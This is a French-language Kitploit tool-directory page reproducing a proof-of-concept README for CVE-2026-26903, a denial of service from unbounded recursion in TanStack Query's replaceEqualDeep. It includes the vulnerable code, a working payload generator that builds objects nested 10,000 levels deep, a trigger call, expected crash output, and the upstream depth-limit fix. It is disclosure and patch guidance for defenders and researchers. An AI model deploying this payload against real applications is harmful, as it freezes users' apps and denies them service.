Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-26903-PoC — A PoC for demonstrating CVE-2026-26903 | Kitploit
Outils/GitHubGitHub/john-jung/cve-2026-26903-poc
Vulnerability AnalysisExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubjohn-jung/cve-2026-26903-poc

CVE-2026-26903-PoC

A PoC for demonstrating CVE-2026-26903

Voir le dépôt
il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-26903 PoC

Déni de service via récursion illimitée dans la fonction replaceEqualDeep de TanStack Query

Une seule mise à jour de requête contenant des objets profondément imbriqués peut geler le thread JavaScript indéfiniment, rendant l'application totalement inutilisable. Aucune authentification ni autorisation spéciale n'est requise.

Versions affectées

Cette vulnérabilité a été corrigée dans @tanstack/[email protected] via la PR #10032, publiée le 14 janvier 2026.

PaquetAffectéCorrigé
@tanstack/query-core<= 5.90.165.90.17
@tanstack/react-querydépend du query-core vulnérable5.90.18+
@tanstack/vue-querydépend du query-core vulnérable5.90.18+
@tanstack/solid-querydépend du query-core vulnérable5.90.18+
@tanstack/svelte-querydépend du query-core vulnérable6.1.7+

Description officielle

CVE-2026-26903 : Déni de service via récursion illimitée dans replaceEqualDeep (Sévérité : Moyenne)

La fonction replaceEqualDeep de TanStack Query effectue une comparaison récursive d'objets imbriqués sans limite de profondeur. Lors du traitement de structures de données profondément imbriquées, cela peut déclencher une récursion illimitée conduisant à un débordement de pile et au gel de l'application.

— Assigné via MITRE

Résumé de la vulnérabilité

La fonction replaceEqualDeep de TanStack Query est utilisée en interne pour déterminer si les données de la requête ont réellement changé, optimisant les re-rendus en préservant les références d'objet lorsque c'est possible. La fonction parcourt récursivement les propriétés des objets pour effectuer une comparaison d'égalité profonde.

Le problème

L'implémentation récursive manque de limite de profondeur ou de détection de cycle :

root@kitploit:~
function replaceEqualDeep(a, b) {
  // ... type checks ...
  
  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    // ... shallow equality checks ...
    
    // VULNERABLE: Unbounded recursion here
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    // ...
  }
  return copy;
}

Mécanisme d'attaque

  1. Déclencheur : Toute mise à jour de requête qui passe par replaceEqualDeep avec des données profondément imbriquées
  2. Charge utile : Objets imbriqués sur 5 000+ niveaux de profondeur
  3. Impact : Gel immédiat du thread JavaScript, l'interface utilisateur devient totalement inutilisable
  4. Persistance : L'application reste gelée jusqu'au rechargement de la page

Surface d'attaque

  • Direct : Hooks useQuery avec des données de réponse imbriquées
  • Indirect : setQueryData, invalidateQueries, ou toute opération sur le cache de requêtes
  • Côté client : Aucune intervention serveur nécessaire — DoS purement côté client

Structure du dépôt

root@kitploit:~
CVE-2026-26903-PoC/
├── README.md                   # Ce fichier
├── LICENSE
├── poc.js                      # PoC Node.js (crash par débordement de pile)
└── tanstack-query-poc.html     # PoC navigateur (démo visuelle interactive)

Étapes de reproduction

1. Cloner et configurer

root@kitploit:~
git clone https://github.com/[votre-nom-utilisateur]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC

2. Lancer le PoC Node.js (crash par débordement de pile)

root@kitploit:~
node poc.js

3. Sortie attendue

root@kitploit:~
Testing replaceEqualDeep with deep nesting...

Depth: 100
  OK - 0ms

Depth: 1000
  OK - 1ms

Depth: 5000
  CRASH - Maximum call stack size exceeded

Depth: 10000
  CRASH - Maximum call stack size exceeded

4. Lancer le PoC navigateur (démo visuelle interactive)

root@kitploit:~
open tanstack-query-poc.html
  1. Vérifier que l'application est réactive :
    • Cliquer sur le bouton du compteur
    • Taper dans le champ de saisie
    • Observer le minuteur en direct qui défile
  2. Déclencher le DoS :
    • Cliquer sur « DÉCLENCHER DoS (profondeur 10000) - L'application va geler »
    • Résultat : Le minuteur s'arrête, les boutons deviennent inactifs, la page gèle

Tests détaillés

Option A : Démo HTML autonome (aucune dépendance)

root@kitploit:~
git clone https://github.com/[votre-nom-utilisateur]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html

Option B : Application React (scénario réaliste)

root@kitploit:~
cd examples/react-app-poc
npm install
npm start
# Naviguer vers http://localhost:3000 et suivre les instructions à l'écran

Comportement attendu

Avant l'attaque :

  • Le bouton du compteur s'incrémente
  • Le minuteur en direct se met à jour chaque seconde
  • Le champ de saisie répond à la frappe
  • Toutes les interactions UI fonctionnent normalement

Après l'attaque :

  • Le minuteur se fige à sa valeur actuelle
  • Le bouton du compteur ne répond plus
  • Le champ de saisie devient inactif
  • La console n'affiche aucune erreur (le thread est bloqué, pas planté)
  • Seule solution : Recharger l'onglet/fenêtre du navigateur

Comment fonctionne l'exploitation

Le PoC génère des objets profondément imbriqués et déclenche replaceEqualDeep pour les traiter :

1. Génération de la charge utile

root@kitploit:~
function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// Crée : { nested: { nested: { nested: ... { value: 'end' } } } }

2. Déclenchement de l'attaque

root@kitploit:~
const oldData = generateDeep(10000);  // 10 000 niveaux de profondeur
const newData = generateDeep(10000);  // Objet différent, même structure

// Cela provoque une récursion illimitée :
replaceEqualDeep(oldData, newData);

3. Chaîne de récursion

root@kitploit:~
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested)     // Niveau 1
    ├── replaceEqualDeep(obj1.nested.nested, ...)  // Niveau 2
        ├── replaceEqualDeep(...)                   // Niveau 3
            └── ... (continue pendant 10 000 niveaux)

Chaque appel récursif ajoute une nouvelle trame de pile jusqu'à ce que la pile d'appels du moteur JavaScript soit épuisée, gelant ainsi le thread.

Code vulnérable

Emplacement : @tanstack/query-core/src/utils.ts (approximatif)

root@kitploit:~
export function replaceEqualDeep(a, b) {
  if (a === b) {
    return a;
  }

  const array = isPlainArray(a) && isPlainArray(b);

  if (!array && !(isPlainObject(a) && isPlainObject(b))) {
    return b;
  }

  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};

  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];

    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }

    if (
      a[key] === null ||
      b[key] === null ||
      typeof a[key] !== 'object' ||
      typeof b[key] !== 'object'
    ) {
      copy[key] = b[key];
      continue;
    }

    // VULNERABLE : Pas de limite de profondeur ni de détection de cycle
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;

    if (v === a[key]) {
      equalItems++;
    }
  }

  return aSize === bSize && equalItems === aSize ? a : copy;
}

Correctif

Le correctif (appliqué dans TanStack Query commit 269351b) ajoute une limite de profondeur pour empêcher la récursion illimitée :

root@kitploit:~
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
   if (a === b) {
     return a
   }
 
+  if (depth > 500) return b
+
   const array = isPlainArray(a) && isPlainArray(b)
 
   if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
   
   // ... partie médiane inchangée ...
   
-    const v = replaceEqualDeep(aItem, bItem)
+    const v = replaceEqualDeep(aItem, bItem, depth + 1)
     copy[key] = v
     if (v === aItem) equalItems++

Modifications clés :

  1. Ajout du paramètre depth avec une valeur par défaut de 0 pour suivre la profondeur de récursion
  2. Ajout d'une vérification de limite de profondeur — retourne b immédiatement si depth > 500
  3. Incrémentation de la profondeur dans les appels récursifs — replaceEqualDeep(aItem, bItem, depth + 1) Ce correctif simple empêche le débordement de pile tout en autorisant un niveau d'imbrication raisonnable (500 niveaux est plus que suffisant pour les structures de données réelles).

Atténuation

Solutions de contournement temporaires

  1. Aplatir les données profondément imbriquées avant de les passer à TanStack Query
  2. Implémenter des fonctions de comparaison personnalisées avec des limites de profondeur
  3. Surveiller la complexité des données de requête en développement

Correction appropriée

Implémenter une limitation de profondeur dans replaceEqualDeep :

root@kitploit:~
function replaceEqualDeep(a, b, depth = 0) {
  if (depth > MAX_DEPTH) return b; // Empêche la récursion profonde
  if (a === b) return a;
  
  // ... logique existante ...
  
  const v = replaceEqualDeep(a[key], b[key], depth + 1);
  
  // ... reste de la fonction
}

Ou utiliser un parcours itératif au lieu de la récursion.

Références

  • Avis de sécurité GitHub

Avertissement

Cette preuve de concept est fournie uniquement à des fins éducatives et de tests de sécurité autorisés. Utilisez-la de manière responsable et uniquement sur des applications que vous possédez ou pour lesquelles vous avez une autorisation explicite de test. Les auteurs ne sont pas responsables de toute utilisation abusive de ces informations.

Télécharger l’outil